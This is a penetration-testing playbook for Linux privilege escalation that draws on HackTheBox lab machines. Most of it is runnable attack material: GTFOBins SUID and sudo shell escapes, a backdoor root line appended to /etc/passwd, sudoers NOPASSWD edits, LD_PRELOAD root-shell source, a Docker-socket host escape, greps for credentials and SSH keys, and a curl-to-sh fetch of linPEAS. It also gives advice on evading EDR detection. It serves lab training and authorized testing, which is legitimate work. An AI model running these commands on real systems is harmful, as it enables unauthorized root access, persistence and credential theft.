Linux Vulnerability Assessment
#Overview
Linux vulnerability assessment evaluates the local host for privilege escalation paths after gaining an initial foothold. The assessment covers kernel exploit matching, SUID/SGID binary abuse, sudo misconfigurations, capability enumeration, writable cron and systemd timers, file permission weaknesses, and credential harvesting from configuration files and command history.
Linux privilege escalation often relies on chaining multiple small misconfigurations rather than a single critical CVE. A writable cron job combined with a PATH hijack, or a sudo rule allowing an interactive binary combined with GTFOBins escape sequences, creates a path from www-data to root.
On HTB, common Linux escalation patterns include: kernel exploits (Help -- kernel vulnerability to root), SUID binary abuse with GTFOBins (Clicker -- SUID binary with relative path traversal; BoardLight -- enlightenment SUID via CVE-2022-37706), sudo rules allowing arbitrary execution (Sau -- sudo systemctl status with pager escape; Magic -- PATH hijacking of SUID binary), NFS no_root_squash (Clicker -- source code disclosure), and Docker socket abuse (Busqueda -- Gitea source code analysis for Docker container discovery).
#Prerequisites
- Low-privileged shell on a Linux machine (www-data, standard user)
- Ability to upload and execute enumeration scripts (linPEAS, pspy, LinEnum)
- Access to GTFOBins (https://gtfobins.github.io/) for SUID/SGID binary exploitation lookup
- linux-exploit-suggester or LES for kernel exploit mapping
- netcat or equivalent for file transfer to/from the target
#Detection and Enumeration
#Step 1: System and Kernel Identification
Establish the baseline:
uname -a
cat /etc/os-release
cat /etc/issue
hostname
id
whoami
The kernel version from uname -a is the primary input for linux-exploit-suggester.
#Step 2: Kernel Exploit Mapping with linux-exploit-suggester
linux-exploit-suggester (LES) maps the running kernel version against a database of known privilege escalation exploits:
# On attacker machine
./linux-exploit-suggester.sh --kernel $(uname -r)
./linux-exploit-suggester-2.pl -k $(uname -r)
# Or upload and run on target
./linux-exploit-suggester.sh
LES output includes the CVE identifier, affected kernel range, exploit source link, and a reliability rating. Prioritize exploits with "Excellent" or "High" reliability that match the exact kernel version and architecture.
Example from Help (HTB): The target's kernel was found to be vulnerable to a local privilege escalation exploit, providing a direct path from www-data to root after the initial SQL injection foothold.
Warning: Kernel exploits are inherently risky. They can panic the kernel (causing a reboot or crash), may not work on custom-compiled kernels, and can leave forensic traces. Exhaust user-space escalation paths before attempting kernel exploits.
#Step 3: SUID/SGID Binary Enumeration
Find binaries with the setuid bit set:
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
For each SUID/SGID binary found, check GTFOBins for exploitation techniques:
# Manual lookup pattern:
# Search GTFOBins for "<binary_name> sudo" or "<binary_name> suid"
Key SUID exploitation patterns from GTFOBins:
| Binary | Escalation Method |
|---|---|
| bash, dash, sh, zsh | ./bash -p (preserves effective UID with -p flag) |
| python, python2, python3 | ./python -c 'import os; os.setuid(0); os.system("/bin/bash")' |
| perl | ./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh"' |
| php | CMD="/bin/sh"; ./php -r "pcntl_exec('/bin/sh');" |
| find | ./find . -exec /bin/sh -p \; -quit |
| vim, vi | ./vim -c ':!/bin/sh' or ./vim -c ':set shell=/bin/sh' -c ':shell' |
| systemctl | systemctl status <service> then !/bin/sh in the pager |
| journalctl | journalctl then !/bin/sh in the pager |
| cp, mv | Copy a SUID binary or overwrite a root-owned file |
| tar | ./tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh |
| cat, less, more | Read /etc/shadow or /root/.ssh/id_rsa |
Example from BoardLight (HTB): A SUID binary related to enlightenment was vulnerable to CVE-2022-37706, enabling privilege escalation to root.
Example from Clicker (HTB): An SUID binary allowed accessing files under /home/jack. By performing a path traversal attack on the binary, the attacker extracted jack's SSH key. Jack had sudo rights, which were then escalated to root.
#Step 4: Sudo Rules Analysis
Check available sudo permissions:
sudo -l
The sudo -l output reveals which commands the user can run as root or as another user, and whether a password is required.
Sudo exploitation patterns from HTB:
Example from Sau (HTB): The user puma could run /usr/bin/systemctl status trail.service as root without a password. In systemctl's pager (less), entering !/bin/sh spawned a root shell. This is a classic pager escape technique.
Example from Magic (HTB): A custom SUID binary in a writable path was vulnerable to PATH hijacking. By creating a malicious binary earlier in the PATH, the attacker tricked the SUID binary into executing attacker-controlled code.
Sudo evaluation checklist:
- Can the command be used with arbitrary arguments? (
tar -cf /dev/null ...) - Can environment variables be preserved? (
env_keep+=LD_PRELOAD,env_keep+=PYTHONPATH) - Does the command invoke a pager? (systemctl, journalctl, man, git log ->
!/bin/sh) - Is there a GTFOBins entry for the allowed binary?
- Can the binary read/write arbitrary files? (cat, cp -> read /etc/shadow)
- Does the command accept
--version? If so, does it run a pager?
#Step 5: Capability Enumeration
Linux capabilities grant specific privileges to processes without full root access:
getcap -r / 2>/dev/null
Critical capabilities to identify:
| Capability | Exploitation |
|---|---|
| cap_setuid | Set real/effective/saved UID to any value -> become root |
| cap_setgid | Set real/effective/saved GID -> become any group |
| cap_chown | Change file ownership -> take ownership of sensitive files |
| cap_dac_override | Bypass file read/write/execute permission checks -> read /etc/shadow |
| cap_dac_read_search | Bypass file read permission and directory read/search checks |
| cap_fowner | Bypass file operations that require the file's UID to match the process |
| cap_sys_admin | Broad admin capabilities including mount, namespaces |
| cap_sys_ptrace | Trace arbitrary processes -> attach to root process, inject code |
| cap_sys_module | Load/unload kernel modules |
| cap_net_admin | Network admin including interface configuration |
| cap_net_bind_service | Bind to privileged ports (<1024) |
| cap_net_raw | Raw sockets -> packet capture, ARP spoofing |
If a binary with cap_setuid exists, exploit it:
# Python with cap_setuid
./python -c 'import os; os.setuid(0); os.system("/bin/bash")'
#Step 6: Cron Job and Timer Analysis
Identify writable cron jobs and systemd timers:
# System-wide crontabs
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/
# User crontabs
crontab -l
ls -la /var/spool/cron/crontabs/
# Systemd timers
systemctl list-timers --all
ls -la /etc/systemd/system/*.service
ls -la /etc/systemd/system/*.timer
Exploitation vectors:
- Writable cron script: The script is executed as root on a schedule -> replace with a reverse shell
- Writable directory in cron script path: The script references a binary without an absolute path -> PATH hijacking
- Wildcard injection: The cron command uses
*with tar, chown, or rsync -> inject--checkpoint=1 --checkpoint-action=exec=/bin/sh - Writable systemd service file: Modify the ExecStart line -> restart the service for root shell
Use pspy for unprivileged process monitoring to detect cron jobs that are not visible in crontab files:
./pspy64
pspy shows processes executing even without root privileges, revealing hidden cron jobs, scripts, and service invocations.
#Step 7: File Permission Weaknesses
Check for world-writable files in sensitive locations:
# Writable /etc/passwd (add a new root user)
ls -la /etc/passwd
# If writable: echo "backdoor:x:0:0:root:/root:/bin/bash" >> /etc/passwd
# Writable /etc/shadow (change root password)
ls -la /etc/shadow
# If readable: copy and crack hashes with john
# Writable /etc/sudoers
ls -la /etc/sudoers
# Add: <username> ALL=(ALL) NOPASSWD:ALL
# Writable authorized_keys files
find / -name authorized_keys -writable 2>/dev/null
# Writable SSH private keys
find / -name id_rsa -writable 2>/dev/null
# World-writable scripts executed by root
find / -perm -o+w -type f -executable 2>/dev/null
#Step 8: LD_PRELOAD and Shared Object Hijacking
Check if LD_PRELOAD is allowed:
# Check /etc/sudoers for env_keep+=LD_PRELOAD
sudo -l | grep LD_PRELOAD
# Check if ld.so.preload is writable
ls -la /etc/ld.so.preload
If LD_PRELOAD is preserved in the sudo environment:
// preload.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
setgid(0); setuid(0);
system("/bin/bash");
}
gcc -fPIC -shared -nostartfiles -o preload.so preload.c
sudo LD_PRELOAD=$(pwd)/preload.so <allowed_command>
#Step 9: Docker and Container Escape
Check for Docker access:
# Docker socket access
ls -la /var/run/docker.sock
groups | grep docker
id | grep docker
# If in docker group or can access socket
docker run -v /:/mnt -it alpine chroot /mnt /bin/sh
docker run -v /:/host -it ubuntu chroot /host /bin/bash
On Busqueda, the user had access to Docker containers running Gitea. Docker enumeration revealed credentials for the administrator user's Gitea account, which led to source code analysis and a relative path reference exploit.
#Step 10: NFS and Network Filesystem Weaknesses
# Check NFS exports
showmount -e <target>
cat /etc/exports
# Check for no_root_squash
# If /etc/exports contains: /path/to/share *(rw,no_root_squash)
# Mount the share and create a SUID binary as root
On Clicker, NFS share /mnt/backups was exported to all hosts, allowing anonymous mounting and source code disclosure of the web application.
#Step 11: Credential and History Harvesting
# Bash/Zsh history
cat ~/.bash_history
cat ~/.zsh_history
cat ~/.mysql_history
cat ~/.psql_history
cat ~/.python_history
# Configuration files with credentials
grep -r "password" /etc/ 2>/dev/null
grep -r "passwd" /var/www/html/ 2>/dev/null
grep -r "DB_PASS" /var/www/ 2>/dev/null
# Git repositories
find / -name .git-credentials 2>/dev/null
find / -name .gitconfig 2>/dev/null
# SSH keys
find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" 2>/dev/null
On Busqueda, credentials discovered in a Git config file allowed access to a local Gitea service. On BoardLight, the Dolibarr web configuration file contained plaintext credentials enabling SSH access.
#Step 12: Automated Enumeration with linPEAS
linPEAS is the most comprehensive automated Linux enumeration script:
# Download and run
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
# Or upload and run from local copy
chmod +x linpeas.sh
./linpeas.sh | tee linpeas_output.txt
linPEAS runs all the checks described above and color-codes findings by exploitation probability: red/yellow indicates a high-probability vector, green indicates informational.
#Assessment Methodology
#Privilege Escalation Decision Tree
1. Run linPEAS (or equivalent) for broad coverage
2. Check sudo -l (most common and reliable path)
3. Check SUID/SGID binaries against GTFOBins
4. Check writable cron jobs and systemd timers
5. Check Linux capabilities (getcap)
6. Check for credentials in config files and history
7. Check file permission weaknesses (writable /etc/passwd, etc.)
8. Check Docker socket, NFS, and container escapes
9. Run linux-exploit-suggester
10. Try kernel exploits only as a last resort
#Prioritization by Reliability
| Priority | Vector | Reliability | Risk |
|---|---|---|---|
| 1 (Highest) | sudo -l / GTFOBins | Very High | Low |
| 2 | SUID/SGID binaries | High | Low |
| 3 | Writable cron/systemd | High | Low |
| 4 | Config file credentials | High | Low |
| 5 | File permission weaknesses | Medium | Low |
| 6 | Capabilities exploitation | Medium | Low |
| 7 | NFS no_root_squash | Medium | Medium |
| 8 | Docker socket access | High | Low |
| 9 | ld.so.preload writability | Medium | Low |
| 10 (Lowest) | Kernel exploits | Variable | High (system crash) |
#Common Pitfalls
- Pitfall: Running linux-exploit-suggester and immediately trying kernel exploits. Kernel exploits can crash the system and leave forensic evidence. Fix: Exhaust user-space escalation paths first (sudo, SUID, cron, capabilities).
- Pitfall: Not checking GTFOBins for every SUID binary. Many binaries that appear harmless (find, vim, less, systemctl) have documented escalation techniques. Fix: Check GTFOBins for every SUID/SGID binary and sudo-allowed command.
- Pitfall: Overlooking pager escapes in sudo rules.
systemctl status,journalctl,man, andgit loginvoke pagers that can escape to a shell. Fix: For every sudo-allowed command, test whether it invokes a pager by piping the output or running it and pressing!. - Pitfall: Assuming the absence of a crontab entry means no cron jobs. User-specific crontabs,
/etc/cron.d/entries, and/etc/cron.*/scripts may not appear incrontab -l. Fix: Check all cron directories and usepspyto observe running processes. - Pitfall: Not checking
$PATHfor writable directories. If a cron job or script executes a command without an absolute path, a writable directory earlier in PATH allows command hijacking. Fix: Always checkecho $PATHand test each directory for write permission.
#OPSEC Considerations
- Detection: Uploading and running linPEAS generates file artifacts and a burst of file system reads. The script itself is a known signature for EDR and HIDS. Fix: Rename the script, strip the banner, and consider running individual commands manually for stealthier enumeration.
- Detection: SUID/SGID searches (
find / -perm -4000) generate a large number ofstatsystem calls but are generally considered benign. These are unlikely to trigger alerts. - Detection:
sudo -lfails silently if sudo permissions are insufficient. Multiple failed sudo attempts may generate audit logs. - Detection: Kernel exploit compilation (gcc) and execution on the target leaves artifacts. Use pre-compiled binaries when possible.
- Detection: pspy reads
/procextensively and may be detected by monitoring tools. Consider usinginotifywaiton specific directories instead.
#Cross-References
#Tool References
| Tool | Link |
|---|---|
| linPEAS | https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS |
| LinEnum | https://github.com/rebootuser/LinEnum |
| linux-exploit-suggester | https://github.com/The-Z-Labs/linux-exploit-suggester |
| linux-exploit-suggester-2 | https://github.com/jondonas/linux-exploit-suggester-2 |
| pspy | https://github.com/DominicBreuker/pspy |
| GTFOBins | https://gtfobins.github.io/ |
| traitor | https://github.com/liamg/traitor |
| unix-privesc-check | https://github.com/pentestmonkey/unix-privesc-check |
#Source Machines
- Help (Easy) -- Kernel exploit from www-data to root after initial SQL injection + file upload RCE
- Sau (Easy) -- Sudo misconfiguration:
sudo systemctl status trail.serviceas root, pager escape to shell - Magic (Easy) -- SUID binary PATH hijacking: writable binary in PATH executed by root SUID process
- BoardLight (Easy) -- SUID enlightenment binary vulnerable to CVE-2022-37706 privilege escalation
- Clicker (Medium) -- SUID binary with path traversal to read SSH key, sudo with env_keep for XXE, root SSH key extraction
- Busqueda (Easy) -- Git config credentials to Gitea access, Docker container enumeration, relative path reference abuse in system checkup script
- Soccer (Easy) -- Tiny File Manager RCE to www-data, Nginx config subdomain discovery, blind SQLi via WebSocket, doas configuration for root
- Networked (Easy) -- File upload bypass, cron job exploitation for privilege escalation, network configuration script root execution
- Mentor (Medium) -- SNMP credential discovery, container pivoting through PostgreSQL, SSH with cracked hash, sudo /bin/sh for root